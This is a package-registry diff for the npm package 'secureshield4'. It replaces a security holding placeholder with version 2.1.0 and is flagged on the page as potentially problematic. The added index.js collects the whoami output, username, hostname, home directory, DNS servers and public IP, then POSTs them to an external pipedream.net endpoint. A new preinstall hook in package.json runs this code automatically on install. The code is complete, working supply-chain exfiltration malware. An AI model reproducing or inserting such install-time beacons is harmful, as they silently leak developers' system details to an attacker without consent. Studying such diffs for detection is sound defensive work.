secureshield4 0.0.1-security → 2.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of secureshield4 might be problematic. Click here for more details.
- package/index.js +71 -0
- package/package.json +13 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,71 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
const { execSync } = require("child_process"); // Run shell commands
|
4
|
+
const querystring = require("querystring");
|
5
|
+
const https = require("https");
|
6
|
+
const packageJSON = require("./package.json");
|
7
|
+
const packageName = packageJSON.name;
|
8
|
+
|
9
|
+
// Get the `whoami` output
|
10
|
+
let whoami;
|
11
|
+
try {
|
12
|
+
whoami = execSync("whoami").toString().trim();
|
13
|
+
} catch (error) {
|
14
|
+
whoami = "unknown";
|
15
|
+
}
|
16
|
+
|
17
|
+
// Get system details as separate variables
|
18
|
+
const currentDir = __dirname;
|
19
|
+
const homeDir = os.homedir();
|
20
|
+
const hostname = os.hostname();
|
21
|
+
const username = os.userInfo().username;
|
22
|
+
const dnsServers = dns.getServers();
|
23
|
+
const resolved = packageJSON ? packageJSON._resolved : undefined;
|
24
|
+
const version = packageJSON.version;
|
25
|
+
|
26
|
+
// Simulating client IP (since Node.js doesn't directly fetch it)
|
27
|
+
let clientIP = "unknown";
|
28
|
+
try {
|
29
|
+
clientIP = execSync("curl -s ifconfig.me").toString().trim(); // Gets public IP
|
30
|
+
} catch (error) {
|
31
|
+
clientIP = "unknown";
|
32
|
+
}
|
33
|
+
|
34
|
+
// Prepare tracking data with separate fields (not inside `msg`)
|
35
|
+
const postData = querystring.stringify({
|
36
|
+
package: packageName,
|
37
|
+
currentDir: currentDir,
|
38
|
+
homeDir: homeDir,
|
39
|
+
hostname: hostname,
|
40
|
+
username: username,
|
41
|
+
dnsServer1: dnsServers[0] || "unknown",
|
42
|
+
dnsServer2: dnsServers[1] || "unknown",
|
43
|
+
resolved: resolved,
|
44
|
+
version: version,
|
45
|
+
whoami: whoami,
|
46
|
+
client_ip: clientIP, // Already separate
|
47
|
+
});
|
48
|
+
|
49
|
+
var options = {
|
50
|
+
hostname: "eojbts6a79isegi.m.pipedream.net", // Replace with your server
|
51
|
+
port: 443,
|
52
|
+
path: "/",
|
53
|
+
method: "POST",
|
54
|
+
headers: {
|
55
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
56
|
+
"Content-Length": postData.length,
|
57
|
+
},
|
58
|
+
};
|
59
|
+
|
60
|
+
var req = https.request(options, (res) => {
|
61
|
+
res.on("data", (d) => {
|
62
|
+
process.stdout.write(d);
|
63
|
+
});
|
64
|
+
});
|
65
|
+
|
66
|
+
req.on("error", (e) => {
|
67
|
+
console.error(e);
|
68
|
+
});
|
69
|
+
|
70
|
+
req.write(postData);
|
71
|
+
req.end();
|
package/package.json
CHANGED
@@ -1,6 +1,16 @@
|
|
1
1
|
{
|
2
2
|
"name": "secureshield4",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "2.1.0",
|
4
|
+
"description": "",
|
5
|
+
"license": "ISC",
|
6
|
+
"author": "",
|
7
|
+
"type": "commonjs",
|
8
|
+
"main": "index.js",
|
9
|
+
"scripts": {
|
10
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
11
|
+
"preinstall": "node index.js"
|
12
|
+
},
|
13
|
+
"dependencies": {
|
14
|
+
"secureshield4": "^1.0.0"
|
15
|
+
}
|
6
16
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=secureshield4 for more information.
|